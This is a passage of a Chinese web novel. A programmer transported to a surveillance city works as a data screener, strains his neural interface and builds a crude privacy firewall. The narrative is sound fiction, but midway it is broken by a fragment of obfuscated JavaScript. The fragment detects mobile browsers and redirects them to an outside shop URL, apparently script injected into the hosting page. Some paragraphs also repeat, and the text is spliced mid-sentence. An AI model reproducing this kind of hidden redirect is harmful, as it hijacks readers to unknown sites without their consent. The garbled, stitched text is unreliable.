【安全提醒:近期检测到新型恶意软件‘记忆蠕虫’,可通过神经接口传播,篡改短期记忆。请勿下载不明来源的数据包。】 【社会新闻:第十区一位居民因持续离线超过72小时,被判定为‘数字遗民’,已由社会关怀部门带走进行‘数据再教育’。专家呼吁:保持网络连接是公民的基本义务。】 林越盯着那条社会新闻,胃里一阵翻腾。 “数据再教育”?听起来像是洗脑的代名词。 他想起龙语世界里那些因为触犯禁忌而被处死的人,想起刑场上的石板血痕,想起斩首台。 不同的世界,同样的残酷。只是这里的刀更隐形,更精密,更无处不在。 “神经接口需要24小时适应期。”李铭说过,“在此期间,您可能会感到信息过载、头痛或幻视。如果症状持续超过48小时,请前往医疗中心就诊。” 他需要适应这个。需要学会过滤这些噪音,就像程序员需要过滤无关的日志输出,产品经理需要过滤不切实际的需求,测试需要过滤无关紧要的bug。 “第一步,”他在心里制定计划,“明天去工作,观察同事,了解数据筛选的具体内容。第二步,慢慢摸清这个城市的规则,特别是那些即死规则——比如离线超过72小时。第三步,在确保安全的前提下,接触黑水酒吧,获取信息。” 计划很粗糙,但至少有个方向。 他想起现实世界的工作。明天早上九点,他本来要开站会,汇报项目进度,应付产品经理的改需求。现在……他在这里,准备去一个叫“深网数据工坊”的地方,当信息筛选师学徒,日薪90信用点。 “从写代码到筛数据,从应付产品经理到应付监控系统。”他自嘲,“职业跨度不大,都是和数据打交道。只不过以前的数据可能让用户不爽,现在的数据可能让我死。” 手腕上的三道红痕微微发烫,像在提醒他:你只有三次机会。 “希望不要这么快就触发。”他想,“至少让我先摸清这个世界的规则,死也要死得明白点。” 他想起龙语世界的四次轮回:第一次死于语言,第二次死于沉默,第三次死于禁忌,第四次才成功通关。 不知道这次会死几次。 但至少现在,他有了一个起点:明天早上八点,第七区数据塔,深网数据工坊,信息筛选师学徒。 以及,一个可能的机会:黑水酒吧。 他躺到床上,床垫硬得像木板。闭上眼睛,但睡不着。神经接口还在适应期,脑子里时不时闪过一些杂乱的数据片段:温度读数、时间更新、网络状态提示……像是有个小人在脑子里不停地报数。 【当前温度:22.3℃】 【当前时间:21:47】 【网络连接状态:稳定】 【数据流量:低】 【建议:保持在线状态】 “闭嘴。”他在心里对那个声音说,“我需要睡觉,不需要实时播报。” 但声音还在继续。他只好尝试忽略,就像忽略办公室里的背景噪音,忽略微信群的未读消息,忽略脑子里那些“明天还要加班”的念头。 慢慢地,呼吸平稳下来,心跳放缓。 在彻底沉入睡眠前,最后一个念头是:希望这个世界的“公司”不要太卷,至少让我有时间去找黑水酒吧。 然后,黑暗。 窗外——如果这房间有窗的话——新长安城的霓虹灯应该已经亮起,数据流在夜色中流淌,像一条永不熄灭的银河。 他深吸一口气,关闭了个人终端。 黑暗中,只有摄像头红色的指示灯在闪烁,像一只永不闭眼的眼睛。 而林越知道,在这座城市里,这样的眼睛有亿万只。在每面墙上,在每个角落,在每台设备里,甚至……在每个人的大脑里(通过神经接口)。 它们注视着你,记录着你,分析着你,评判着你。 而你无处可藏。 他躺到床上,床垫硬得像木板。闭上眼睛,但睡不着。神经接口还在适应期,脑子里时不时闪过一些杂乱的数据片段:温度读数、时间更新、网络状态提示……像是有个小人在脑子里不停地报数。 他需要适应这个。需要学会过滤这些噪音,就像程序员需要过滤无关的日志输出。 需要学会在这个数字孤岛里生存——一个所有人都被迫在线、被迫透明、被迫连接的孤岛。 而离线,是最大的罪过。 19. 深海初潜 早上七点半,林越被神经接口的闹钟“拍”醒——不是声音,是直接作用于大脑皮层的意识轻拍。他睁开眼,天花板白得刺眼。脑子里还残留着数据碎片:室温23.7度、PM2.5指数42、本层入住率87%……全是关不掉的后台提示。 “比手机推送还烦。”他坐起身,揉了揉太阳穴。 手腕上三道红痕清晰。三条命。容错率低得可怜。 洗漱时,毛巾擦脸触发健康报告弹窗:“睡眠质量:浅眠为主(深度睡眠12%,偏低)……情绪指数:平稳,略带焦虑(工作首日压力)。” 林越扯扯嘴角。废话,换谁穿越到全员裸奔的数据世界,第一天上班就当“数字偷窥狂”,能不焦虑吗? 七点五十,他离开宿舍。走廊里挤满穿灰色工装的临时公民,沉默如工蚁,神经接口浮窗闪烁各自的日程。林越的导航箭头指向第七区数据塔。 电梯里镜面倒映疲惫麻木的脸,无人交谈,只有神经接口的轻微提示音。消毒水味混合电子焦味。 街景比昨天清晰。高楼外墙是动态柔性屏幕,滚动宣传片:“数据共享让生活更便捷”、“透明化社会构建全新信任体系”……画面里人们笑容灿烂,手拉手站在全息数据流中,童话般幸福。 行人匆匆,眼前都有数据浮窗。有人看股票,有人盯购物推荐,有人嘴唇微动视频通话——神经接口直接脑对脑通讯。隐私?不存在的,只有“便捷”。 拐进侧街,建筑旧些,墙面屏幕有的损坏显示乱码。行人少了,监控覆盖率显示“92%”,比市中心低几个点。 “深网数据工坊”在街尽头。不起眼的五层楼,混凝土原色外墙,无招牌。门口电子牌滚动小字:“第七区数据处理中心·深网工坊”。 林越在门口停步,深吸气。手腕红痕似乎微烫——也许是心理作用。他抬头看建筑上方,几个黑色球状摄像头无声转动。 “进去吧,”他对自己说,“至少这次不是去刑场。” 工坊内部比外面大得多。 穿过神经接口验证的安检门,挑高大厅中央是巨大全息投影——新长安城实时数据流三维地图。无数光点如星河流动,每点代表一个公民的数据行为:购物、通讯、移动、健康监测…… 光点汇河,河流织网。一张覆盖全城、活的数据之网。 他们,信息筛选师,是这张网的维护者——或者说,看守者。 “林越?”声音从旁传来。 转头,穿灰色工装、左臂戴蓝色袖标的中年女人。约莫四十岁,面容严肃,眼神锐利如能看穿数据表层。 “我是陈主管,你的直属上级。”女人没伸手,上下打量他一眼,“跟我来。” 林越跟上,穿过大厅侧门进入长走廊。两侧玻璃隔开工位,每个工位里人呆坐着,眼睛盯虚空——视野被神经接口投射的数据流填满。 “你的工位在C区17号。”陈主管脚步不停,声音平板如念说明书,“信息筛选师学徒工作简单:接入公民公共数据流,识别异常模式,打标签。标签三级:绿色观察、黄色警告、红色高危。每个标签需附简短文字说明,要客观,不准带主观判断。” 她在玻璃门前停步,门自动滑开。 “进去。神经接口会自动连接工坊内网,你会看到任务队列。”她侧身让林越进,没离开的意思,“记住三条原则:第一,不看内容,只看模式。第二,情感是噪音,过滤掉。第三,你只是个过滤器,不是法官。” 林越进工位。工位约三平米,一张悬浮椅,一个控制台,台上只有一个按钮标着“接入/断开”。 “坐下,接入。”陈主管站在门口命令。 林越坐下,手指按按钮。 瞬间—— 世界被覆盖了。 视野被无数快速滚动数据流填满,像超负荷服务器日志疯狂刷新。文字、数字、图表、波形图、位置标记、时间戳……它们不是“图像”,而是直接“印”在意识里,绕过眼睛,直达大脑。 窒息感。数据流密度太高,思维被挤压淹没。他试图集中注意力看一条信息—— 公民ID:A7J3K9 时间:今日07:15 行为:购买早餐(豆浆油条套餐)情绪指数:平静(72分)关联数据:无异常 但这条信息只停留0.1秒,被下一波数据冲走。 “呼吸。”陈主管声音遥远,“别试图理解每一条数据,你大脑会烧掉。找规律,找偏差,找‘不一样’的东西。” 林越强迫调整呼吸。闭眼没用,数据流直接输入神经接口。他想起程序员时期处理海量日志:不能逐行看,要找关键词、错误码、异常峰值。 注意力转到“模式”上:数据流节奏、颜色编码、频率变化…… 十分钟后,找到第一个“异常”。 一堆稳定购物数据中,一个公民消费频率从每天2-3次飙升到半小时内7次,全买同类商品(能量饮料)。情绪指数从平静骤降到焦虑(45分),位置信息显示他一直待在某个公共休息区。 林越用意念选中这条数据流,打“黄色警告”标签,附注:“短期内高频消费同种商品,情绪焦虑,建议检查是否存在成瘾行为或精神压力。” 标签打上,数据流从公共池分离,汇入侧边“待处理队列”。 “还行。”陈主管声音似乎近了些,“继续。上午任务量是标记50个黄色或以上异常。完不成扣信用积分。” 林越没回话,已没精力分心。 数据洪流继续冲刷。每一秒成千上万条信息流过意识,他必须像筛沙子,从中挑出几粒形状不一样的石子。 头痛开始。太阳穴发紧,后脑勺胀痛,大脑皮层过度刺激的酸痛。视野边缘数据流出现重影。 他咬紧牙关,继续筛。 第二个异常:公民健康数据连续三天“睡眠质量极差”,但白天工作效率评分反常地高。标签:黄色警告,附注:“可能存在健康数据伪造或过度依赖兴奋剂风险。” 第三个异常:位置数据显示某公民过去72小时有超过50次短暂“离线”(每次1-3秒)。标签:绿色观察,附注:“离线行为频繁但短暂,可能为设备故障,也可能为有意识信号规避测试。” 每一分钟都像一小时那么长。 林越开始理解“情感是噪音”。每天看几百人的购物记录、通讯片段、健康数据、情绪波动,很容易对“数据源”产生共情——为某人焦虑担心,为某人喜悦微笑,为某人痛苦皱眉。 但不能。如果对每个数据点都投入情感,一天内就会精神崩溃。 必须麻木。必须变成过滤器,只认模式,不认人。 “这哪是信息筛选,”林越标记完一个“红色高危”(情绪指数连续暴跌至20分以下,且购买危险物品记录)后,脑子里闪过自嘲,“这是合法的偷窥狂欢。以前是老板监控我,现在是我监控全城人的数据。报应来得真快。” 黑色幽默成了唯一心理防御机制。 中午十二点,系统提示休息时间。 林越瘫在椅子上按下断开按钮。数据流消失,视野恢复——玻璃墙、控制台、走廊人影。 但脑子里还在嗡鸣,像刚离开重金属演唱会。太阳穴疼痛扩散到整个前额。他揉眉心,感觉大脑像被拧干的海绵。 “第一次都这样。”温和声音从旁传来。 林越转头,隔壁工位的人站在玻璃门外。年轻男性,二十五六岁,面容清秀但眼神空洞,笑容标准得像从模板刻出。 “我是刘贤,C区18号,你的邻居。”年轻人说,玻璃门自动滑开他走进,“怎么样,信息洪流滋味?” “像被人用百科全书砸脸。”林越实话实说。 刘贤轻笑:“比喻贴切。不过习惯就好,大脑适应性很强。一起去吃饭?” 林越点头,起身跟他走出工位。 走廊里不少人往食堂走。刘贤走在他旁边,步伐平稳姿态放松,已完全适应环境。 出于好奇——或者说职业病——林越下意识看了一眼刘贤的公开数据面板。 然后他愣住了。 刘贤的数据面板详细到令人窒息。 不只是基础身份信息(刘贤,26岁,正式公民,信用积分92),还包括实时生理数据、健康记录、情绪曲线、消费记录、工作表现……几乎没有任何隐私。 林越迅速移开视线,但信息冲击已烙在脑子里。昨天公民服务中心工作人员数据也透明,但刘贤这个更彻底,更像“完美公民样本”。 “怎么了?”刘贤注意到他异样。 “没……没什么。”林越摇头,努力让表情自然,“只是有点……数据过载后遗症。” 刘贤理解点头:“正常。我第一次看别人详细数据也这样,感觉像突然拥有读心术。”他顿了顿,语气平静如讨论天气,“不过习惯了就好。透明有透明的好处,至少……你不会犯错。” 这句话轻描淡写,但林越感到寒意从脊椎爬上来。 不会犯错。因为一举一动都被监控,所以必须时刻保持“正确”。因为所有数据都公开,所以任何一点偏差都会被立刻发现。 这不是自由,是另一种形式的囚禁。 食堂在地下一层,宽敞但装修简单。自助取餐区摆几十种标准化餐食,每种旁有营养成分表和推荐摄入量。刘贤熟练取高蛋白低脂套餐,林越跟取类似。 他们找靠墙桌子坐下。周围员工安静吃饭,少有人交谈,大多用神经接口处理什么——查看消息、浏览资讯、或继续未完成工作。 “你入职多久了?”林越试图找话题。 “两年。”刘贤小口吃蔬菜沙拉,“从临时公民开始,六个月转正,然后一直在这里。挺稳定,福利也不错。” “没想过……做点别的?” “别的?”刘贤抬头,眼神闪过一丝疑惑,“为什么要做别的?信息筛选师很重要,我们维护城市数据流秩序。没有我们,异常行为得不到及时处理,社会系统就会出现风险。” 他说这话语气真诚,无丝毫讽刺或无奈,像在背诵从小就学会的教条。 林越突然意识到,刘贤不是在表演。他是真的相信。相信数据透明是好事,相信监控必要,相信自己的工作有意义。 因为从出生开始,他所接受的一切信息都在告诉他:这是对的。 “而且,”刘贤喝水,语气轻松些,“数据透明也有好处。比如我知道自己该吃什么才能保持健康,知道什么时候该休息才能提高效率,知道怎么花钱才能最大化幸福感。系统给我最优建议,我只要照做就行。” 他笑了笑,笑容标准得像从表情库里调出:“不用自己费心思考,多好。” 林越不知该说什么。他低头吃饭,感觉嘴里食物味同嚼蜡。 午休时间四十分钟。吃完饭后,刘贤说要去休息区“小睡十分钟以维持下午工作效率”,林越找借口说想熟悉环境,独自留在食堂。 他走到角落公共数据终端前——简单触摸屏,提供基础公民服务查询。环顾四周确认没有明显监控摄像头对着死角,然后快速操作。 他想测试。 测试自己的神经接口,到底能承受多大密度数据流。 如果未来需要主动接入更高权限数据源(比如调查黑水酒吧),他必须知道自己现在的极限在哪里。不能像上午那样被动挨打,得主动试探边界。 终端屏幕上是城市公共服务数据流公开接口,任何人都可访问,但数据密度很低——主要是天气预报、公共交通时刻表、公共设施状态等基础信息。 林越深吸气,用意念向神经接口发出指令:接入,深度调高一级。 瞬间,数据流密度增加。 不再是简单文字信息,而是带上实时图表、趋势分析、关联推荐……信息量约是上午公共数据流的1.5倍。大脑开始有压力,但还能承受。 他坚持三十秒,调高第二级。 数据流开始包含低敏感度公民行为统计数据(匿名聚合后):“第七区今日早高峰出行人数同比变化”、“公共区域平均停留时长”、“常见消费品类热力图”…… 信息量翻倍。头痛加剧,太阳穴突突跳。 林越咬紧牙关,看视野角落神经接口状态指示:当前数据负载率65%,仍在安全范围。 再来一级。 他调高第三级——公开接口最高权限,理论上可接触“半公开”数据流:实时能耗监控(建筑级别)、公共网络流量分布、环境传感器数据流…… 数据洪流轰然而至。 这一次不只是信息量增加,而是质的变化。数据不再是一个个离散的点,而是连接成网,流动成河。他能“看”到整个第七区的能耗脉络,能“听”到公共网络中数据包呼啸而过,能“感觉”到环境传感器传来的温度、湿度、气压细微变化—— 然后大脑罢工了。 剧痛。不是头痛,是整个颅腔内爆炸性疼痛。像有人用烧红铁棍捅进他后脑,然后在里面搅动。视野瞬间被白光覆盖,数据流扭曲成无法辨识乱码,耳边响起尖锐刺耳电子啸叫。 “呃——!” 他本能弯下腰,双手死死按太阳穴。胃里翻江倒海,恶心想吐。视野里,数据负载率数字飙到120%,鲜红色警告弹窗疯狂闪烁: 警告:神经接口过载!建议立即断开连接! 警告:脑电波活动异常!检测到神经元放电失控风险! 林越用尽最后一点意志力,切断连接。 数据流消失。 但他还跪在地上,喘粗气,汗水顺额头滴下,在终端屏幕映出几个深色圆点。过了一分钟,眼前视野才慢慢恢复清晰,耳鸣也逐渐消退。 他扶终端台站起,双腿发软。 食堂角落没有镜子,但终端屏幕不显示内容时是黑色的,能勉强当镜子用。林越凑近屏幕,倒影里的自己脸色苍白如纸,眼睛里布满血丝—— 不,不只是血丝。 右眼眼白上,靠近眼角位置,出现一小片鲜红出血点。很细,像针尖戳出,但确实是血管破裂痕迹。 他盯着那片红色,心里一片冰凉。 0.5秒。他只在高密度数据流里坚持0.5秒,眼球毛细血管就撑不住了。如果刚才再多坚持一秒,会怎么样?视网膜出血?脑部微血管破裂?还是直接脑死亡? “这就是极限。”他低声对自己说,声音沙哑,“现在的极限。” 他用袖子擦额冷汗,强迫自己站直身体。不能让别人看出来异常,尤其是在这个到处都是监控的地方。 午休时间快结束。他整理衣服,深吸几口气让脸色稍微恢复,然后若无其事走回工坊。 下午工作比上午更难熬。 头痛没减轻,眼球出血点虽小,但每次眨眼都能感觉到细微异物感。数据流依然在冲刷,他必须集中十二分注意力才能勉强完成标记任务。 但有一点好处:经过中午那次过载测试,他对数据流的承受阈值有了清晰认知。现在再面对上午那种密度的公共数据流,竟然觉得……轻松了一些。 大脑的适应性果然可怕。 下午四点,系统提示今日任务完成:标记黄色警告32个,绿色观察18个,红色高危2个。超额完成,信用积分+5。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119405|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林越长出一口气,按下断开按钮。 视野恢复正常时,他感觉像刚从深海浮出水面,重新呼吸到空气。虽然头痛还在,但至少意识是自己的了。 他收拾东西准备下班,习惯性检查自己的公民数据面板。 基础信息一切正常:林越,临时公民,信用积分5(刚加),当前状态:工作中。 但往下翻到生物识别数据时,他停住了。 DNA异常标记那一栏,状态更新了。 昨天还是简单的“异常数据扰动残留(已记录)”,现在多了一行新标注: 观察对象:低风险说明:检测到基因序列与历史数据库碎片存在37%威胁度。匹配来源:归档研究“异常数据传导理论”(研究状态:已终止)。建议保持观察,如有进一步异常表现,提升监控等级。 林越盯着那行字,心脏微微收紧。 37%威胁度。“异常数据传导理论”。已终止的研究。 而且,“观察对象”这个标签,意味着系统已把他放在某个名单上。低风险只是暂时的,一旦他表现出更多异常——比如频繁接入高密度数据流,或试图调查黑水酒吧——这个标签随时可能变成“中风险”甚至“高风险”。 他关掉面板,走出工位。 走廊里,下班人群正在往外走。刘贤已在门口等他,见他出来,笑着挥手:“今天辛苦了,一起回去?” “不了,”林越摇头,“我想……随便走走,熟悉一下第七区。” “也好。”刘贤理解点头,“那明天见。记住晚上十点前要回到公民服务中心报到,否则会被算‘夜不归宿’,扣信用分的。” “知道了,谢谢。” 两人在工坊门口分开。刘贤走向公民服务中心方向,林越则拐进另一条街。 他确实想熟悉环境,但更重要的原因是:他需要独处。需要消化今天的信息量,需要思考下一步该怎么走。 第七区街道比市中心破旧,但更有生活气息。路边有小贩卖热食,香气飘散;孩子们在巷子里追逐嬉戏,笑声清脆;老人们坐在长椅上聊天,语速缓慢。 如果不是每个人眼前都有数据浮窗,如果不是街角那些无声转动的监控探头,这里几乎像个正常的、有烟火气的老城区。 走到十字路口,他停下来等红灯。 天色渐暗,街灯自动亮起,暖黄色光晕洒在路面。对面街角有家小店,招牌写“老陈修理铺”,橱窗里堆满各种老旧电子设备,看起来像专门修理神经接口外设的。 林越多看两眼,心里盘算:也许以后需要这种人脉。在监控社会里,懂技术的手艺人总是有用的。 红灯变绿。他迈步过街。 就在踏上对面人行道那一刻,神经接口突然震动了一下。 不是系统通知那种轻微的“意识轻拍”,而是更强烈、更突兀的震动,像有人用指尖在他大脑皮层上敲了一下。 紧接着,一条消息弹了出来。 不是通过常规通讯频道,而是点对点的、加密的、匿名的直接传输。消息来源被层层协议包裹,显示为“无法追溯的匿名节点”。 内容很短,只有一行字: “你的DNA很特别,不想聊聊吗?——匿名来源” 林越脚步顿住了。 他站在人行道上,周围川流不息的人群,街灯光晕在他脚下投出长长影子。神经接口视野里,那条消息静静悬浮,末尾附着一个坐标: 第七区,旧城巷,坐标(X-287.4,Y-103.9,Z-15.2) 坐标下方还有一行小字备注:该区域当前监控覆盖率:约58%(中等偏低) 心跳漏了一拍。 DNA。又是DNA。工坊系统刚把他标记为“观察对象”,下班路上就收到匿名邀请。是巧合?还是说,这个城市里不止一个“观察者”在注意着他? 他盯着那条消息,脑子里飞速分析可能性: 1.陷阱。某个势力(可能是黑水酒吧相关,也可能是其他)想引诱他上钩。 2.机会。有人真的对他的DNA异常感兴趣,可能是研究者,也可能是……和他类似的“异常者”。 3.测试。系统本身的某种隐蔽监控手段,看他会不会对匿名邀请做出反应。 无论哪一种,都意味着风险。 但风险也意味着信息。在这个数据透明的世界里,匿名邀请本身就是最稀缺的“隐私”行为。能发出这种消息的人,要么技术高超,要么权限特殊。 林越沉默站了十几秒,然后做了一件事: 他既没有回复消息,也没有删除消息,更没有按照坐标前往。 他只是用意念操作神经接口,将这条消息完整截屏保存,加密存储进本地缓存区(神经接口允许用户保存少量完全离线的个人数据),然后清除接收记录。 做完这一切,他继续往前走,表情平静得像什么都没发生过。 但脑子里已经在飞速运转: 坐标是第七区旧城巷,监控覆盖率58%——比市中心低,但也不是完全盲区。对方选择那里,可能是为了方便观察,也可能是为了安全。 “不想聊聊吗?”——邀请式的语气,没有威胁性,更像是在试探他的意愿。 DNA很特别——对方知道他的DNA异常,而且认为这是“特别”而不是“异常”。用词有微妙区别。 林越走到下一个街口,拐进更安静的小巷。巷子两边是老旧居民楼,晾衣绳横跨空中,挂着各式衣物。几个孩子在楼下空地上玩全息投影游戏,光影闪烁。 他在公共长椅上坐下,假装休息,实则继续思考。 去,还是不去? 去的理由:可能是获取关键信息的机会,可能接触到城市灰色地带人脉,可能解开DNA异常谜团。 不去的理由:风险太高,可能是陷阱,可能暴露自己的异常行为倾向,可能被系统记录为“与匿名节点接触”。 权衡之下…… “暂时不去。”他做出决定。 不是永远不去,而是现在不去。现在的他太弱了,神经接口耐受度低,对监控系统的了解还停留在表面,连基础的防护技术都没掌握。贸然接触匿名势力,等于送死。 他要等。等自己更强一些,等对这个世界更熟悉一些,等……找到合适的时机。 但那条消息和坐标,他会牢牢记住。 天色完全暗下来。街灯光晕在巷子里投下斑驳影子。远处传来隐约市井喧嚣,近处孩子们的游戏进入高潮,欢呼声阵阵。 林越坐在长椅上,看着这一切,忽然想起龙语世界那个夜晚——也是坐在破庙外,看着黄壤屯的零星灯火,心里盘算如何生存下去。 场景不同,世界不同,但处境何其相似。 都是异乡人,都是在规则边缘试探,都是在寻找那一线生机。 他深吸一口气,站起身,拍了拍工装上的灰尘。 该回公民服务中心了。十点前必须报到,否则会被扣分。在信用积分攒够之前,他不能有任何违规行为。 回去的路上,他又经过那个十字路口。对面的“老陈修理铺”还亮着灯,橱窗里的老旧设备在灯光下泛着金属光泽。 林越多看两眼,心里记下这个位置。 然后他继续往前走,身影融入夜色中。 神经接口视野角落里,那条被清除的匿名消息早已消失不见。但坐标数字和那句“你的DNA很特别”,已经刻在了他的记忆深处。 深海之下,暗流已经开始涌动。 而他才刚刚潜入,连第一口氧气都还没吸够。 20. 防火墙与面具 第三天早上,林越站在公民服务中心的公共数据终端前,盯着屏幕上滚动的《新长安城公民基础权益与义务手册》。 准确地说,是盯着手册附录三:《个人信息防护技术入门(临时公民版)》。 手册写得冠冕堂皇,前言里说:“为保障公民在数据透明化社会中的基本隐私权,特提供以下防护技术指导……”但往下翻,内容少得可怜,像极了公司给新员工发的《信息安全培训》PPT——全是正确的废话,没一句能用的。 “数据加密基础:建议对敏感信息进行128位以上加密。” “流量伪装入门:可通过随机延迟、数据包填充等方式降低行为可预测性。” “痕迹擦除指南:定期清理本地缓存,避免累积可追踪的数字足迹。” 每一条都像在说:“我们知道你不想被看光,但真不想被看光的话,你得自己想办法。” 林越扯了扯嘴角。这就是监控社会的黑色幽默:系统一边把所有人的数据扒得精光,一边又假惺惺地教你“如何保护隐私”。像极了把人家衣服全扒了,然后递过去一条巴掌大的布,说:“喏,遮羞布,拿好。” 但巴掌大的布也是布。林越心里吐槽:“这防护手册,听起来像‘隐私保护指南’,实际上是‘如何优雅地裸奔说明书’。这宣传文案涉嫌虚假广告,应该罚款——虽然罚款也是交给系统,相当于左口袋出右口袋进。而且这手册的技术说明,一看就是‘祖传代码’风格——写得模棱两可,关键步骤用‘等等’带过,还夹杂着看不懂的术语。像是某个程序员十年前写的TODO注释,结果一直被复制粘贴到现在。” 在裸奔时代,穿条裤衩也是反抗。 他花了半小时把手册里的技术要点记下来——不是用神经接口直接下载(那会被记录),而是用最原始的方法:眼睛看,脑子记。虽然效率低,但安全。神经接口的本地缓存区可以存储少量完全离线的个人数据,他把关键步骤整理成加密笔记存了进去。 “第一步:建立基础数据防火墙。” 手册里说得轻巧,实际操作起来像在满是窟窿的破船上打补丁。林越坐在工坊食堂的角落里(这里监控覆盖率相对较低,92%),尝试用意念操作神经接口,在数据流外围建立一层简单的过滤屏障。 原理很简单:所有进出神经接口的数据,都要经过这层屏障的检查。屏障会根据预设规则,把某些类型的数据标记、延迟、甚至伪装。 实际操作起来…… “呃——” 林越按住太阳穴。又来了,那种大脑被强行分区的撕裂感。一边要维持正常的数据筛选工作(他面前摆着个便携式数据板,假装在看工作资料),一边要在意识深处构建防火墙架构。 就像一边在流水线上拧螺丝,一边在脑子里设计火箭图纸。 而且图纸还是用碎片拼的。 屏障构建到三分之一时,神经接口弹出一条系统提示: 检测到非常规数据处理模式可能影响工作效率,是否继续?提示:临时公民信用积分低于10分时,不建议进行可能降低工作效率的行为。 林越盯着那条提示,心里骂了句脏话。 “这警告提示,比编译器报错还霸道。至少编译器还会告诉你错在哪行,这玩意儿直接威胁扣分。”他内心吐槽,“而且这‘可能影响工作效率’的判定标准是什么?我要是效率太高,是不是也得扣分——‘过度劳动影响身心健康’?” 威胁。赤裸裸的威胁。意思是:你一个临时公民,信用积分才5分(昨天加的),老老实实干活就得了,搞什么防护技术?再搞就扣你分。 “这防护技术学习任务,难度评级直接拉满到‘地狱模式’。”林越内心吐槽,“我这边配置一般,积分才5分,还兼职系统重点观察对象——相当于游戏里刚出新手村就遇到精英怪。” 他深吸一口气,用意念选择了“继续,已了解风险”。 屏障构建继续。 二分之一时,头痛加剧。视野边缘开始出现细小的光斑,像老式电视机信号不良时的雪花点。 四分之三时,他感觉自己的思维被切成了两半:一半在维持表面的平静(吃饭、看数据板、偶尔抬头看看周围),另一半在数据层面疯狂打补丁。 最后一块补丁打上时,系统提示再次弹出: 个人信息防护屏障(初级)已建立当前防护等级:D-(极低)预计可抵挡基础数据扫描,对深度分析无效备注:该行为已被记录为‘公民自我防护意识提升’,信用积分+1 林越愣了下,然后笑了。 气笑的。 建立防护屏障,系统给你加1分。但如果屏障影响了工作效率,系统就扣你分。这是什么?精神分裂式管理?一边鼓励你保护隐私,一边惩罚你保护隐私时耽误了干活。 “行吧,D-就D-。”他关掉提示,“总比裸奔强。” 屏障建立完成的瞬间,他能感觉到细微的变化。 之前神经接口里的数据流是“直接冲刷”的感觉,现在多了一层模糊的缓冲。虽然还是很透明,但至少……像隔着一层毛玻璃看东西了。虽然毛玻璃很薄,一捅就破。 但至少有了层玻璃。 下午的工作时间,林越开始测试屏障的效果。 他故意在数据筛选时犯了个小错——把一条明显的“绿色观察”级别异常,标记成了“黄色警告”。这种错误在学徒身上很常见,系统一般不会深究。 标记完成后,他静静等待。 三分钟后,神经接口收到一条来自陈主管的提醒:“注意标签准确性。错误率超过5%会影响转正评估。” 提醒很简短,没有更多内容。 林越松了口气。这说明屏障起了作用:系统检测到了他的错误,但只将其归类为“普通工作失误”,没有深入分析他犯错时的思维波动、情绪变化、甚至……他故意犯错背后的意图。 如果没这层屏障,系统可能会发现:他在标记错误前,有0.3秒的犹豫;犹豫期间,他的脑电波出现了与“决策矛盾”匹配的模式;这种模式与他平时“谨慎”的行为档案不符…… 然后系统就会问:为什么? 为什么一个平时谨慎的人,会突然犯这种低级错误? 一旦系统开始问“为什么”,麻烦就来了。 所以屏障的作用,就是让系统“不问为什么”。把异常行为包装成普通失误,把有意为之伪装成无心之失。 当然,这只是最基础的防护。对付普通的数据扫描还行,遇到专门针对他的深度分析,这点屏障跟纸糊的没区别。 但纸糊的也是纸。 下班后,林越没有直接回公民服务中心。 他拐进了第七区的一条商业街。街道两旁是各种店铺:神经接口配件专卖、数据流优化中心、情绪调节诊所……还有酒吧。 他在一家招牌闪着蓝色霓虹灯的酒吧前停下脚步。 招牌上写着:“黑水酒吧”。 和神经接口里标注的一模一样。位置也对:第七区中段,监控覆盖率约60%(确实比市中心低)。 酒吧外观很普通,深色门面,玻璃窗上贴着磨砂膜,看不清里面。门口没有保安,只有一个简单的神经接口验证面板,上面显示着两行字: 黑水酒吧准入条件(满足其一即可): 1.信用积分≥50 2.内部引荐码 3.特殊权限持有者 林越盯着那行“信用积分≥50”,心里算了下。 他现在有6分信用积分(初始0+工作表现5+防护意识1)。信用点倒是还有不少——初始1000点,扣掉两晚住宿100点,加上昨天和今天工资180点,算上食水杂项……大概还剩980点左右。但黑水酒吧要的是信用积分,不是信用点。按这个速度,每天工作表现加5分,要九天才能攒到50分。这还不算可能因为各种原因被扣分。 九天。太长了。 匿名邀请的坐标就在第七区旧城巷,离这里不远。对方显然在等他回应。等九天?对方可能早就没耐心了。 他走近验证面板,神经接口自动感应,弹出提示: 检测到访问请求访问者:林越(临时公民)信用积分:6状态:不符合准入条件建议:提升信用积分至50分,或获取内部引荐码 林越没动,静静站了几秒。 然后他转身离开,脚步平稳,表情自然,像只是路过好奇看了一眼。 但转身的瞬间,他用眼角的余光扫了一眼酒吧门口的监控探头位置——两个,一个在招牌左侧,一个在右侧屋檐下。覆盖角度有重叠,但有死角:正门口正下方。 他还注意到,酒吧旁边是家“神经接口快速维修”店,店里有个老头正蹲在柜台后修设备,头都没抬。 这些细节他记了下来。 不是现在用,是以后用。 回到公民服务中心的路上,林越打开了自己的公民数据面板。信用积分那一栏还是6,但下方多了一条新记录:“个人信息防护屏障建立(+1分)”。 他看着那条记录,脑子里冒出一个念头。 既然建立防护屏障能加分……那能不能用这个机制,快速刷分? 比如,建立更复杂的屏障,或者“优化”现有屏障,让系统认为他在“持续提升防护意识”,然后不断给他加分? 理论上是可能的。系统鼓励公民“自我提升”,防护技术属于“有益技能”,应该会给奖励积分。 但实际操作起来,风险很大。 首先,频繁建立、拆除、重建屏障,会引起系统注意。为什么这个人对防护技术这么执着?是不是有什么特别需要隐藏的东西? 其次,防护技术本身就有风险。像他今天这样建个初级屏障就头痛欲裂,建更复杂的屏障,说不定直接脑出血。 最后,就算真能刷分,速度也不会太快。系统不是傻子,同样的行为重复太多次,奖励分会越来越少,直到没有。 “还是要走正规渠道。”林越叹了口气,“老老实实工作,攒分。” 但正规渠道太慢了。 他需要更快的方法。 第二天上班时,林越接到了一个特殊任务。 陈主管把他叫到办公室,扔给他一个数据板:“今天别筛公共数据流了,去归档库。那里有些老数据需要整理,顺便学学系统架构。” 林越接过数据板,上面显示着任务详情:“第七区数据归档库,V3.0系统遗留数据整理”。 V3.0。 他记得神经接口的当前版本是V5.2。V3.0是两代前的版本,早就该淘汰了。 “为什么还要整理老数据?”他问。 